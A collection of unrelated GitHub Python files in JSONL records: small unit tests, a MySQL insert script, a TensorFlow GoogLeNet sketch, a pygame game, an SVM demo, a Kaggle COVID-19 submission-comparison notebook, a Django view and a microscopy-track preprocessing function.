{"seq_id":"24412188915","text":"import tests.utils as test_utils\n\n\nclass UtilsTest(test_utils.InstallAgentModuleTest):\n\n    def test_prepare_script(self):\n        agent = {\n            'ip': '10.0.4.47',\n            'fabric_env': {},\n            'package_url': ('http://10.0.4.46:53229/packages/'\n                            'agents/ubu\\'ntu-trusty-agent.tar.gz'),\n            'port': 22,\n            'manager_ip': '10.0.4.46',\n            'distro_codename': 'trusty',\n            'basedir': '/home/vagrant',\n            'process_management': {\n                'name': 'init.d'\n            },\n            'env': {},\n            'system_python': 'python',\n            'min_workers': 0,\n            'envdir': '/home/vagrant/second_host_0f18c_new/env',\n            'distro': 'ubuntu',\n            'workdir': '/home/vagrant/second_host_0f18c_new/work',\n            'max_workers': 5,\n            'user': 'vagrant',\n            'key': '~/.ssh/id_rsa',\n            'password': None,\n            'agent_dir': '/home/vagrant/second_host_0f18c_new',\n            'name': 'second_host_0f18c_new',\n            'windows': False,\n            'local': False,\n            'queue': 'second_host_0f18c_new',\n            'disable_requiretty': True\n        }\n        module = self.import_install_module(agent)\n        returned_agent = module.get_cloudify_agent()\n        self.assertEquals(agent, returned_agent)\n","repo_name":"konradxyz/cloudify-install-agents","sub_path":"cloudify_install_agents/tests/unit/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7364241187","text":"# mysql_insert_many.py\r\n\r\nimport mysql.connector\r\n\r\nmydb = mysql.connector.connect(\r\n  host=\"localhost\",\r\n  user=\"root\",\r\n  password=\"m1234\",\r\n  database=\"test\"\r\n)\r\n\r\nmycursor = mydb.cursor()\r\n\r\nsql = \"INSERT INTO customers2 (name, address) VALUES (%s, %s)\"\r\nval = [\r\n('Peter', 'Lowstreet 4'),\r\n('Amy', 'Apple st 652'),\r\n('Hannah', 'Mountain 21'),\r\n('Michael', 'Valley 345'),\r\n('Sandy', 'Ocean blvd 2'),\r\n('Betty', 'Green Grass 1'),\r\n('Richard', 'Sky st 331'),\r\n('Susan', 'One way 98'),\r\n('Vicky', 'Yellow Garden 2'),\r\n('Ben', 'Park Lane 38'),\r\n]\r\n\r\nmycursor.executemany(sql, val)\r\nmydb.commit()\r\nprint(mycursor.rowcount, \"record was inserted.\")","repo_name":"DuneDune29/study_Python","sub_path":"pywork/mysql_insert_many.py","file_name":"mysql_insert_many.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19611189720","text":"import tensorflow as tf\n\ndef inceptionmodule(data, LayerDepths):\n\n    tf_inception_filter1 = tf.Variable(tf.truncated_normal([1,1, data.shape[3], LayerDepths[0]], stddev=0.1))\n    tf_inception_filter2 = tf.Variable(tf.truncated_normal([1, 1,data.shape[3], LayerDepths[1]], stddev=0.1))\n    tf_inception_filter3 = tf.Variable(tf.truncated_normal([1, 1,data.shape[3], LayerDepths[2]], stddev=0.1))\n    tf_inception_filter4 = tf.Variable(tf.truncated_normal([3, 3,LayerDepths[0], LayerDepths[3]], stddev=0.1))\n    tf_inception_filter5 = tf.Variable(tf.truncated_normal([5, 5,LayerDepths[1], LayerDepths[4]], stddev=0.1))\n    tf_inception_filter6 = tf.Variable(tf.truncated_normal([1, 1,data.shape[3], LayerDepths[5]], stddev=0.1))\n\n    conv1 = tf.nn.conv2d(data, tf_inception_filter1,strides=[1,1,1,1],padding=\"SAME\")\n\n    conv2 = tf.nn.conv2d(data, tf_inception_filter2, strides=[1, 1, 1, 1], padding=\"SAME\")\n\n    max1 = tf.nn.max_pool(data,ksize=[1,3,3,1],strides=[1,1,1,1], padding=\"SAME\")\n\n    conv3 = tf.nn.conv2d(data, tf_inception_filter3, strides=[1, 1, 1, 1], padding=\"SAME\")\n\n    conv4 = tf.nn.conv2d(conv1, tf_inception_filter4, strides=[1, 1, 1, 1], padding=\"SAME\")\n\n    conv5 = tf.nn.conv2d(conv2, tf_inception_filter5, strides=[1, 1, 1, 1], padding=\"SAME\")\n\n    conv6 = tf.nn.conv2d(max1, tf_inception_filter6, strides=[1, 1, 1, 1], padding=\"SAME\")\n\n    return tf.concat([conv3,conv4,conv5,conv6],axis=3)\n\n\ndef google_net(data):\n\n    #depths of each convolution in incepiton module\n\n    inceptionlayer1 = [96,16,64,128,32,32]\n    inceptionlayer2 = [128, 32, 128, 192, 96, 64]\n    inceptionlayer3 = [96, 16, 192, 208, 48, 64]\n    inceptionlayer4 = [112, 24, 160, 224, 64, 64]\n    inceptionlayer5 = [128, 24, 128, 256, 64, 64]\n    inceptionlayer6 = [144, 32, 112, 288, 64, 64]\n    inceptionlayer7 = [160, 32, 256, 320, 128, 128]\n    inceptionlayer8 = [160, 32, 256, 320, 128, 128]\n    inceptionlayer9 = [192, 48, 384, 384, 128, 128]\n\n    #initalize weigths for all conv layers that are outside inception module\n\n    layer1_weights =  tf.Variable(tf.truncated_normal([7,7,3,64], stddev=0.1))\n    layer2_weights = tf.Variable(tf.truncated_normal([1, 1, 64, 64], stddev=0.1))\n    layer3_weights = tf.Variable(tf.truncated_normal([3, 3, 64, 192], stddev=0.1))\n    output_weights = tf.Variable(tf.truncated_normal([]))\n\n    bias1 = tf.Variable(tf.constant(1.0,shape=[64]))\n    bias2 = tf.Variable(tf.constant(1.0,shape=[64]))\n    bias3 = tf.Variable(tf.constant(1.0,shape=[192]))\n\n    #build the network\n\n    conv1 = tf.nn.conv2d(data, layer1_weights,strides=[1,2,2,1],padding='SAME')\n    conv1 = tf.nn.bias_add(conv1,bias1)\n    conv1 = tf.nn.relu(conv1)\n\n    max1  = tf.nn.max_pool(conv1,ksize= [1,3,3,1],strides= [1,2,2,1],padding=\"SAME\")\n\n    norm1 =  tf.nn.local_response_normalization(max1, depth_radius=5.0, bias=2.0, alpha=1e-4, beta=0.75)\n\n    conv2 = tf.nn.conv2d(norm1,layer2_weights,strides=[1,1,1,1],padding=\"SAME\")\n\n    conv3 = tf.nn.conv2d(conv2,layer3_weights,strides=[1,1,1,1],padding=\"SAME\")\n\n    norm2 = tf.nn.local_response_normalization(conv3, depth_radius=5.0, bias=2.0, alpha=1e-4, beta=0.75)\n\n    max2  = tf.nn.max_pool(norm2,ksize= [1,3,3,1],strides= [1,2,2,1],padding=\"SAME\")\n\n    inception1 = inceptionmodule(max2, inceptionlayer1)\n\n    inception2 = inceptionmodule(inception1, inceptionlayer2)\n\n    max3 = tf.nn.max_pool(inception2,ksize=[1,3,3,1],strides=[1,2,2,1],padding=\"SAME\")\n\n    inception3 = inceptionmodule(max3,inceptionlayer3)\n\n    inception4 = inceptionmodule(inception3, inceptionlayer4)\n\n    inception5 = inceptionmodule(inception4, inceptionlayer5)\n\n    inception6 = inceptionmodule(inception5, inceptionlayer6)\n\n    inception7 = inceptionmodule(inception6, inceptionlayer7)\n\n    max4 = tf.nn.max_pool(inception7,ksize=[1,3,3,1],strides=[1,2,2,1],padding=\"SAME\")\n\n    inception8 = inceptionmodule(max4, inceptionlayer8)\n\n    inception9 = inceptionmodule(inception8, inceptionlayer9)\n\n    avg1 = tf.nn.pool(inception9,window_shape=[1,7,7,1],pooling_type=\"AVG\",padding=\"VALID\")\n\n    avg1 = avg1.get_shape().as_list()\n\n    dropout1 = tf.nn.dropout(avg1, 0.4)\n\n    return tf.layers.dense(dropout1,units=1000)\n\n","repo_name":"khan-07/Machine-Learning","sub_path":"Architectures/googlenet.py","file_name":"googlenet.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24305191470","text":"import argparse\n\ndef _setup_parser():\n    parser = argparse.ArgumentParser(description=\"Aprendendo a fazer um autoencoder simples\")\n\n    # Show linear transformation using nn.Linear\n    parser.add_argument('--lintrans', action='store_true', help='Runs the linear transformation snippet')\n\n    # Import MNIST dataset\n    parser.add_argument('--mnist', action='store_true', help='Imports the MNIST dataset')\n\n    # Create construction-test split\n    parser.add_argument('--split', action='store_true', help='Splits dataset into train-validation-test subsets')\n\n    # Normalize construction and test sets\n    parser.add_argument('--prep', action='store_true', help='Preprocess dataset')\n\n    # Create a simple autoencoder and run it without training\n    parser.add_argument('--simpleae', action='store_true', help='Running simple autoencoder (without training)')\n\n    return parser.parse_args()\n\n","repo_name":"tremefabris/autoencoder-pytorch","sub_path":"ae/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33800493184","text":"from docx import Document\n\nclass Gather:\n    code = {\"CS8451\":\"DAA\", \"MA8402\":\"PQT\"}\n    subjDepartment = {\"DAA\":\"CSE/IT\", \"PQT\":\"CSE\"}  \n    def __init__(self, subject, exam, timetable):\n        self.subject = subject\n        self.exam = exam\n        self.timetable = timetable\n        self.tt = Document(self.timetable)\n    \n    def getDate(self): \n        table = self.tt.tables[0]\n        for j in range(2,12):\n            for i in range(1,7):\n                if table.cell(i,j).text == Gather.code[self.subject]:\n                    self.date = table.cell(i,1).text\n        return self.date\n    \n    def getTime(self):\n        if int(self.exam[-1]) in [1,2]:\n            return \"1.30hours\"\n        else:\n            return \"3 hours\"\n    \n    def getTotal(self):\n        if int(self.exam[-1]) in [1,2]:\n            return \"50 marks\"\n        else: \n            return \"100 marks\"\n\nif __name__ == \"__main__\":\n    obj = Gather(\"MA8402\", \"IA2\", \"TimeTable.docx\")\n    print(obj.getDate())\n    print(obj.getTime())\n    print(obj.getTotal())\n","repo_name":"yogan-gopi/QPGen","sub_path":"Gatherer.py","file_name":"Gatherer.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42186622148","text":"import pygame\nimport random\nimport colorama\nfrom colorama import *\n\ncolorama.init()\n\nscreen_size = [360, 600]\nscore = 0\nscreen = pygame.display.set_mode(screen_size) \n\nbackgound = pygame.image.load(\"forest.png\")\nplayer = pygame.image.load(\"bowl.svg\")\nchicken = pygame.image.load(\"apple.svg\")\n\n# define color\ngreen = Fore.GREEN\nred = Fore.RED \n\ndef random_offset():\n    return -1 * random.randint(100, 2000)\n\nchicken_y = [random_offset(), random_offset(), random_offset()]\nuser_x = 150\n\ndef chicken_position(idx):\n    if chicken_y[idx] > 600:\n        chicken_y[idx] = random_offset() \n    else:\n        chicken_y[idx] = chicken_y[idx] + 5\n\nkeep_alive = True\nclock = pygame.time.Clock()\nwhile keep_alive:\n    # Event controler\n    pygame.event.get()\n    keys = pygame.key.get_pressed()\n    if keys[pygame.K_RIGHT] and user_x < 303:\n        user_x += 10\n    elif keys[pygame.K_LEFT] and user_x > 0:\n        user_x -= 10\n \n    chicken_position(0)\n    chicken_position(1)\n    chicken_position(2) \n\n    screen.blit(backgound, [0, 0]) \n    screen.blit(player, [user_x, 520]) \n    screen.blit(chicken, [0, chicken_y[0]])   \n    screen.blit(chicken, [150, chicken_y[1]])\n    screen.blit(chicken, [280, chicken_y[2]]) \n\n    if chicken_y[0] > 500 and user_x < 70  or chicken_y[2] > 500 and user_x < 220 or chicken_y[1] > 500 and user_x > 100 and user_x < 200:\n        score += 1 \n        print(\"Score:\"+green+str(score))\n        chicken_y = [random_offset(), random_offset(), random_offset()]\n\n    else:\n        if chicken_y[0] > screen_size[1] or chicken_y[1] > screen_size[1] or chicken_y[2] > screen_size[1]:\n            print(red+\"Game Over\")  \n            keep_alive = False \n\n    pygame.display.update() \n    clock.tick(60)\npygame.quit()","repo_name":"Shreeporno420/PYTHON","sub_path":"Game Project/Apple Catching Game/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"36734726429","text":"\n#Import Support Vector Machine code from sklearn\nfrom sklearn import svm\n\n#The SVC module under SVC does classifications\nfrom sklearn.svm import SVC\n\n#import matplotlib\n#matplotlib.use('Agg')\n#matplot lib plots help us visualize what is going on\n#import matplotlib.pyplot as plt\n\n\n#X are the training rows 2 dimensions, x and y\nX = [[0, 0], [1, 1]]\n\n#y is the target classifications 0 and 1\ny = [0, 1]\n\n\n#reveal the training data input\n#plt.plot(X, y, 'ro')\n#plt.margins(1, 1)\n#plt.show()\n\n\n#Instantiate a new Support Vector Machine Classifier\nclf = svm.SVC()\n\n#fit the hyperplane between the clouds of data, should be fast as hell\nclf.fit(X, y)\n\n#specify config options, read the docs\nSVC(C=1.0, cache_size=200, class_weight=None, coef0=0.0,\n    decision_function_shape='ovr', degree=3, gamma='auto', kernel='rbf',\n    max_iter=-1, probability=False, random_state=None, shrinking=True,\n    tol=0.001, verbose=False)\n\n#After being fitted, the model can then be used to predict new values:\n\n#If we pass in unseen row x=2 and y=2 then the answer should be classification 1\nprint(\"Answer: \" + str(clf.predict([[2., 2.]])))\n#array([1])  #yeah!\n\n\n#SVMs decision function depends on some subset of the training data, called the \n#support vectors. Some properties of these support vectors can be found in \n#members support_vectors_, support_ and n_support:\n\n#here is what is going on in the SVM's brain, it's just a definition of a hyperplane,\n#in 2 dimensions, it's just a line, y=mx + b\n\n# get support vectors\n#print(clf.support_vectors_)\n#array([[ 0.,  0.],\n#       [ 1.,  1.]])\n\n\n# get indices of support vectors\n#print(clf.support_)\n#array([0, 1]...)\n\n# get number of support vectors for each class\n#print(clf.n_support_)\n#array([1, 1]...)\n\n","repo_name":"sentientmachine/svm_demo","sub_path":"svm_hello_world.py","file_name":"svm_hello_world.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71426723240","text":"\nimport pandas as pd\n\nfrom IPython.core.interactiveshell import InteractiveShell\n\nInteractiveShell.ast_node_interactivity = \"all\"\n\npd.set_option('display.max_columns', 99)\n\npd.set_option('display.max_rows', 99)\n\nimport os\n\nimport numpy as np\n\nfrom matplotlib import pyplot as plt\n\nfrom tqdm import tqdm\n\nimport datetime as dt\nimport matplotlib.pyplot as plt\n\nplt.rcParams['figure.figsize'] = [16, 10]\n\nplt.rcParams['font.size'] = 14\n\nimport seaborn as sns\n\nsns.set_palette(sns.color_palette('tab20', 20))\n\n\n\nimport plotly.express as px\n\nimport plotly.graph_objects as go\nDATEFORMAT = '%Y-%m-%d'\n\n\n\n\n\ndef get_comp_data(COMP):\n\n    train = pd.read_csv(f'{COMP}/train.csv')\n\n    test = pd.read_csv(f'{COMP}/test.csv')\n\n    print(train.shape, test.shape)\n\n    train['Country_Region'] = train['Country_Region'].str.replace(',', '')\n\n    test['Country_Region'] = test['Country_Region'].str.replace(',', '')\n\n\n\n    train['Location'] = train['Country_Region'] + '-' + train['Province_State'].fillna('')\n\n\n\n    test['Location'] = test['Country_Region'] + '-' + test['Province_State'].fillna('')\n\n\n\n    train['LogConfirmed'] = to_log(train.ConfirmedCases)\n\n    train['LogFatalities'] = to_log(train.Fatalities)\n\n    train = train.drop(columns=['Province_State'])\n\n    test = test.drop(columns=['Province_State'])\n\n\n\n    country_codes = pd.read_csv('../input/covid19-metadata/country_codes.csv', keep_default_na=False)\n\n    train = train.merge(country_codes, on='Country_Region', how='left')\n\n    test = test.merge(country_codes, on='Country_Region', how='left')\n\n\n\n    train['DateTime'] = pd.to_datetime(train['Date'])\n\n    test['DateTime'] = pd.to_datetime(test['Date'])\n\n    \n\n    return train, test\n\n\n\n\n\ndef process_each_location(df):\n\n    dfs = []\n\n    for loc, df in tqdm(df.groupby('Location')):\n\n        df = df.sort_values(by='Date')\n\n        df['Fatalities'] = df['Fatalities'].cummax()\n\n        df['ConfirmedCases'] = df['ConfirmedCases'].cummax()\n\n        df['LogFatalities'] = df['LogFatalities'].cummax()\n\n        df['LogConfirmed'] = df['LogConfirmed'].cummax()\n\n        df['LogConfirmedNextDay'] = df['LogConfirmed'].shift(-1)\n\n        df['ConfirmedNextDay'] = df['ConfirmedCases'].shift(-1)\n\n        df['DateNextDay'] = df['Date'].shift(-1)\n\n        df['LogFatalitiesNextDay'] = df['LogFatalities'].shift(-1)\n\n        df['FatalitiesNextDay'] = df['Fatalities'].shift(-1)\n\n        df['LogConfirmedDelta'] = df['LogConfirmedNextDay'] - df['LogConfirmed']\n\n        df['ConfirmedDelta'] = df['ConfirmedNextDay'] - df['ConfirmedCases']\n\n        df['LogFatalitiesDelta'] = df['LogFatalitiesNextDay'] - df['LogFatalities']\n\n        df['FatalitiesDelta'] = df['FatalitiesNextDay'] - df['Fatalities']\n\n        dfs.append(df)\n\n    return pd.concat(dfs)\n\n\n\n\n\ndef add_days(d, k):\n\n    return dt.datetime.strptime(d, DATEFORMAT) + dt.timedelta(days=k)\n\n\n\n\n\ndef to_log(x):\n\n    return np.log(x + 1)\n\n\n\n\n\ndef to_exp(x):\n\n    return np.exp(x) - 1\nCOMP = '../input/covid19-global-forecasting-week-4/'\n\nstart = dt.datetime.now()\n\ntrain, test = get_comp_data(COMP)\n\ntrain.shape, test.shape\n\ntrain.head(2)\n\ntest.head(2)\ntrain[train.geo_region.isna()].Country_Region.unique()\n\ntrain = train.fillna('#N/A')\n\ntest = test.fillna('#N/A')\n\n\n\ntrain[train.duplicated(['Date', 'Location'])]\n\ntrain.count()\n\nTRAIN_START = train.Date.min()\n\nTEST_START = test.Date.min()\n\nTRAIN_END = train.Date.max()\n\nTEST_END = test.Date.max()\n\nTRAIN_START, TRAIN_END, TEST_START, TEST_END\n\n\n\ntrain_w2, test_w2 = get_comp_data('../input/covid19-global-forecasting-week-2')\n\ntrain_w2.shape, test_w2.shape\n\ntrain_w3, test_w3 = get_comp_data('../input/covid19-global-forecasting-week-3')\n\ntrain_w3.shape, test_w3.shape\ntop_submissions = dict(\n\n    beluga = '../input/covid-19-w3-a-few-charts-and-submission/submission.csv',\n\n    Kaz = '../input/gbr-169v3-v2/submission.csv',\n\n    Lockdown = '../input/gbt3n/submission.csv',\n\n    PDD = '../input/cv19w3-v3fix-cpmp-oscii-belug-full-8118/submission.csv',\n\n    KGMON = '../input/covid19-w3-submission-blend-4-models/submission.csv',\n\n    Vopani = '../input/covid-19-w3-lgb-mad/submission.csv',\n\n    OsciiArt = '../input/covid-19-lightgbm-with-weather-2/submission.csv',\n\n    Northquay = '../input/c19-wk3-uploader/submission.csv',\n\n)\n\ntop_submissions\n\n\n\npredictions = train.copy()\n\npredictions.shape\n\n\n\nSUBM_DIR = './data/subms/'\n\nfor team, f in top_submissions.items():\n\n    s = pd.read_csv(f)\n\n    s = s.merge(test_w3, on='ForecastId')\n\n    s = s[['Location', 'Date', 'ConfirmedCases', 'Fatalities']]\n\n    \n\n    predictions = predictions.merge(s, on=['Location', 'Date'], suffixes = ['', f' ({team})'], how='outer')\n\n    s.shape\n\n    s.tail(2)\n\n\n\ndaily_total = predictions.groupby('Date').sum().reset_index()\n\ndaily_total = daily_total[daily_total.Date > train_w3.Date.max()]\n\ncols = ['Date'] + [c for c in predictions.columns if c.startswith('Confirmed')]\n\n\n\nmelted = pd.melt(daily_total[cols], id_vars='Date')\n\n\n\nfig2 = px.line(melted, x='Date', y='value', color='variable')\n\n_ = fig2.update_layout(\n\n    yaxis_type=\"log\",\n\n    title_text=f'W3 Submissions - Confirmed Cases [Updated: {TRAIN_END}]'\n\n)\n\nfig2.show()\ndaily_total = predictions.groupby('Date').sum().reset_index()\n\ndaily_total = daily_total[daily_total.Date > train_w3.Date.max()]\n\ncols = ['Date'] + [c for c in predictions.columns if c.startswith('Fatalities')]\n\n\n\nmelted = pd.melt(daily_total[cols], id_vars='Date')\n\n\n\nfig2 = px.line(melted, x='Date', y='value', color='variable')\n\n_ = fig2.update_layout(\n\n    yaxis_type=\"log\",\n\n    title_text=f'W3 Submissions - Fatalities [Updated: {TRAIN_END}]'\n\n)\n\nfig2.show()\ntop_submissions = dict(\n\n    beluga = '../input/covid-19-a-few-charts-and-a-simple-baseline/submission.csv',\n\n    Kaz = '../input/gr1621-v2/submission.csv',\n\n    KGMON = '../input/covid19-w2-final-v2/submission.csv',\n\n    Vopani = '../input/covid19-metadata/w2_submission_Vopani.csv',\n\n    OsciiArt = '../input/covid19-metadata/w2_submission_OsciiArt.csv',\n\n    DAV = '../input/kernel303a0b031a/submission.csv'\n\n)\n\ntop_submissions\n\n\n\npredictions = train.copy()\n\npredictions.shape\n\n\n\nSUBM_DIR = './data/subms/'\n\nfor team, f in top_submissions.items():\n\n    s = pd.read_csv(f)\n\n    s = s.merge(test_w2, on='ForecastId')\n\n    s = s[['Location', 'Date', 'ConfirmedCases', 'Fatalities']]\n\n    \n\n    predictions = predictions.merge(s, on=['Location', 'Date'], suffixes = ['', f' ({team})'], how='outer')\n\n    s.shape\n\n    s.tail(2)\nmelted\ndaily_total = predictions.groupby('Date').sum().reset_index()\n\ndaily_total = daily_total[daily_total.Date > train_w2.Date.max()]\n\ncols = ['Date'] + [c for c in predictions.columns if c.startswith('Confirmed')]\n\n\n\nmelted = pd.melt(daily_total[cols], id_vars='Date')\n\n\n\nfig2 = px.line(melted[melted.Date <= '2020-04-30'], x='Date', y='value', color='variable')\n\n_ = fig2.update_layout(\n\n    yaxis_type=\"log\",\n\n    title_text=f'W2 Submissions - Confirmed Cases [Updated: {TRAIN_END}]',\n\n    width = 1600,\n\n    height = 800,\n\n)\n\nfig2.show()\ndaily_total = predictions.groupby('Date').sum().reset_index()\n\ndaily_total = daily_total[daily_total.Date > train_w2.Date.max()]\n\ncols = ['Date'] + [c for c in predictions.columns if c.startswith('Fatalities')]\n\n\n\nmelted = pd.melt(daily_total[cols], id_vars='Date')\n\n\n\nfig2 = px.line(melted[melted.Date <= '2020-04-30'], x='Date', y='value', color='variable')\n\n_ = fig2.update_layout(\n\n    yaxis_type=\"log\",\n\n    title_text=f'W2 Submissions - Fatalities [Updated: {TRAIN_END}]',\n\n    width = 1600,\n\n    height = 800,\n\n)\n\nfig2.show()\ntrain_w1, test_w1 = get_comp_data('../input/covid19-metadata')\n\ntrain_w1.shape, test_w1.shape\n\n\n\ntop_submissions = dict(\n\n    RalphNeumann='../input/covid19-metadata/w1_RalphNeumann_submission.csv',\n\n    StephenKeller='../input/covid19-metadata/w1_StephenKeller_submission.csv', \n\n    beluga='../input/covid19-metadata/w1_beluga_submission.csv',\n\n    OsciiArt='../input/covid19-metadata/w1_OsciiArt_submission.csv'   \n\n)\n\ntop_submissions\n\n\n\npredictions = train.copy()\n\npredictions.shape\n\n\n\nSUBM_DIR = './data/subms/'\n\nfor team, f in top_submissions.items():\n\n    s = pd.read_csv(f)\n\n    s = s.merge(test_w1, on='ForecastId')\n\n    s = s[['Location', 'Date', 'ConfirmedCases', 'Fatalities']]\n\n    \n\n    predictions = predictions.merge(s, on=['Location', 'Date'], suffixes = ['', f' ({team})'], how='outer')\n\n    s.shape\n\n    s.tail(2)\ndaily_total = predictions.groupby('Date').sum().reset_index()\n\ndaily_total = daily_total[daily_total.Date > train_w1.Date.max()]\n\ncols = ['Date'] + [c for c in predictions.columns if c.startswith('Confirmed')]\n\n\n\nmelted = pd.melt(daily_total[cols], id_vars='Date')\n\n\n\nfig2 = px.line(melted[melted.Date <= '2020-04-23'], x='Date', y='value', color='variable')\n\n_ = fig2.update_layout(\n\n    yaxis_type=\"log\",\n\n    title_text=f'W1 Submissions - Confirmed Cases [Updated: {TRAIN_END}]'\n\n)\n\nfig2.show()\ndaily_total = predictions.groupby('Date').sum().reset_index()\n\ndaily_total = daily_total[daily_total.Date > train_w2.Date.max()]\n\ncols = ['Date'] + [c for c in predictions.columns if c.startswith('Fatalities')]\n\n\n\nmelted = pd.melt(daily_total[cols], id_vars='Date')\n\n\n\nfig2 = px.line(melted[melted.Date <= '2020-04-23'], x='Date', y='value', color='variable')\n\n_ = fig2.update_layout(\n\n    yaxis_type=\"log\",\n\n    title_text=f'W1 Submissions - Fatalities [Updated: {TRAIN_END}]'\n\n)\n\nfig2.show()","repo_name":"aorursy/new-nb-3","sub_path":"gaborfodor_covid19-global-forecasting-top-submissions.py","file_name":"gaborfodor_covid19-global-forecasting-top-submissions.py","file_ext":"py","file_size_in_byte":9312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14201782721","text":"#!/usr/bin/env python3\n# coding: utf-8\n\"\"\"\n@file: test_qc.py\n@description: \n@author: Ping Qiu\n@email: qiuping1@genomics.cn\n@last modified by: Ping Qiu\n\nchange log:\n    2021/07/05  create file.\n\"\"\"\nfrom stereo.core.stereo_exp_data import StereoExpData\nfrom stereo.preprocess.qc import cal_qc\nfrom stereo.io.reader import read_h5ad\n\n\ndef make_data():\n    import numpy as np\n    from scipy import sparse\n    genes = ['g1', 'mt-111', 'g3']\n    rows = [0, 1, 0, 1, 2, 0, 1, 2]\n    cols = [0, 0, 1, 1, 1, 2, 2, 2]\n    cells = ['c1', 'c2', 'c3']\n    v = [2, 3, 4, 5, 6, 3, 4, 5]\n    exp_matrix = sparse.csr_matrix((v, (rows, cols)))\n    # exp_matrix = sparse.csr_matrix((v, (rows, cols))).toarray()\n    position = np.random.randint(0, 10, (len(cells), 2))\n    out_path = '/home/qiuping//workspace/st/stereopy_data/test.h5ad'\n    data = StereoExpData(bin_type='cell_bins', exp_matrix=exp_matrix, genes=np.array(genes),\n                         cells=np.array(cells), position=position, output=out_path)\n    return data\n\n\ndef quick_test():\n    data = make_data()\n    data = cal_qc(data)\n    print(data.gene_names.dtype)\n    print(data.cells.total_counts)\n    print(data.cells.n_genes_by_counts)\n    print(data.cells.pct_counts_mt)\n    return data\n\n\ndef test_file():\n    path = '/home/qiuping//workspace/st/stereopy_data/mource_bin100.h5ad'\n    data = read_h5ad(path)\n    print(data.gene_names.dtype)\n\n    data = cal_qc(data)\n    print(data.cells.total_counts)\n    print(data.cells.n_genes_by_counts)\n    print(data.cells.pct_counts_mt)\n\n\nif __name__ == '__main__':\n    quick_test()\n    test_file()\n\n","repo_name":"pratapstat/stereopy","sub_path":"tests/test_qc.py","file_name":"test_qc.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"24542933575","text":"from django.shortcuts import render\nfrom .models import Education, Experience\n# Create your views here.\n\ndef home(request):\n\t\"\"\"\n\trenders the resume home template\n\t\"\"\"\n\tname = \"Pritha Dutta\"\n\taddress = \"172 Forest Park, Durham, NH-03824\"\n\temail = \"pd1057@wildcats.unh.edu\"\n\tskills = [\"Java\",\"C++\", \"Python\", \"Django\", \"Software Testing\"]\n\tcontext = {}\n\teducations = Education.objects.order_by('degree')\n\texperiences = Experience.objects.order_by('title')\n\tcontext = {'my_education':educations,'my_experiences':experiences,\n\t'my_name':name,'my_addr':address,\"my_email\":email,\n\t\"my_skills\":skills}\n\treturn render(request,'resume/home.html',context)\n","repo_name":"prithadutta/COMP-805","sub_path":"django/week3/resume/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28445265471","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr  5 17:50:44 2021\n\n@project: pyErmine\n@author: Sebastian Malkusch\n@email: malkusch@med.uni-frankfurt.de\n\"\"\"\nimport numpy as np\nimport pandas as pd\n\ndef preprocess_swift_data(data_df: pd.DataFrame, min_track_length: int = 4) -> pd.DataFrame:\n    \"\"\"\n    Creates a data frame of single molecule jumps\n    \n    The passed in data frame `data_df` is a swift data frame. Here, each line\n    represents a single molecule location at a distinct time point.\n    Each molecule location in data_df is a departure location of a possible\n    molecule jump. For each departure location the respective destination\n    location of the same molecule is searched for in the adjacent frame. If\n    the respective destnation location is identified, the departure\n    and destination location information will define a molecule jump. The\n    feature 'jump_distance' characterizes the width of the jump calculated by\n    the Euclidean distance between the two localizations. The function returns\n    the data frame `jump_df`.\n    Essential features of `data_df` are:\n        `track.lifetime`\n        `track.id`\n        `frame`\n        `x [nm]`\n        `y [nm]`\n    \n\n    Parameters\n    ----------\n    data_df : pd.DataFrame\n        A single molecule location data frame created by Swift.\n    min_track_length : int, optional\n        minimal track length. The default is 4.\n\n    Returns\n    -------\n    pd.DataFrame\n        jump_df:  A single molecule jump data frame.\n\n    \"\"\"\n    filtered_df = data_df[data_df[\"track.lifetime\"] >= min_track_length].copy()\n    departure_df = filtered_df.sort_values(by = [\"track.id\", \"frame\"], ignore_index=True).copy()\n    destination_df = departure_df.drop(0)\n    attribute_names = filtered_df.columns\n    final_row = pd.Series(data = np.repeat(np.nan, np.shape(attribute_names)[0]),\n                          index = attribute_names)\n    destination_df = destination_df.append(final_row, ignore_index=True)\n    jump_df = departure_df.join(destination_df, on=None, how=\"left\", lsuffix=\"_departure\", rsuffix=\"_destination\")\n    jump_df[\"jump_distance\"] = np.sqrt(np.square(jump_df[\"x [nm]_destination\"] - jump_df[\"x [nm]_departure\"]) + np.square(jump_df[\"y [nm]_destination\"] - jump_df[\"y [nm]_departure\"]))\n    jump_df[\"jump_distance\"] += np.finfo(np.float32).eps\n    trackId_mismatch_idx = jump_df[\"track.id_departure\"] != jump_df[\"track.id_destination\"]\n    frame_mismatch_idx = (jump_df[\"frame_destination\"] - jump_df[\"frame_departure\"]) != 1\n    jump_df.loc[trackId_mismatch_idx, \"jump_distance\"] = np.nan\n    jump_df.loc[frame_mismatch_idx, \"jump_distance\"] = np.nan\n    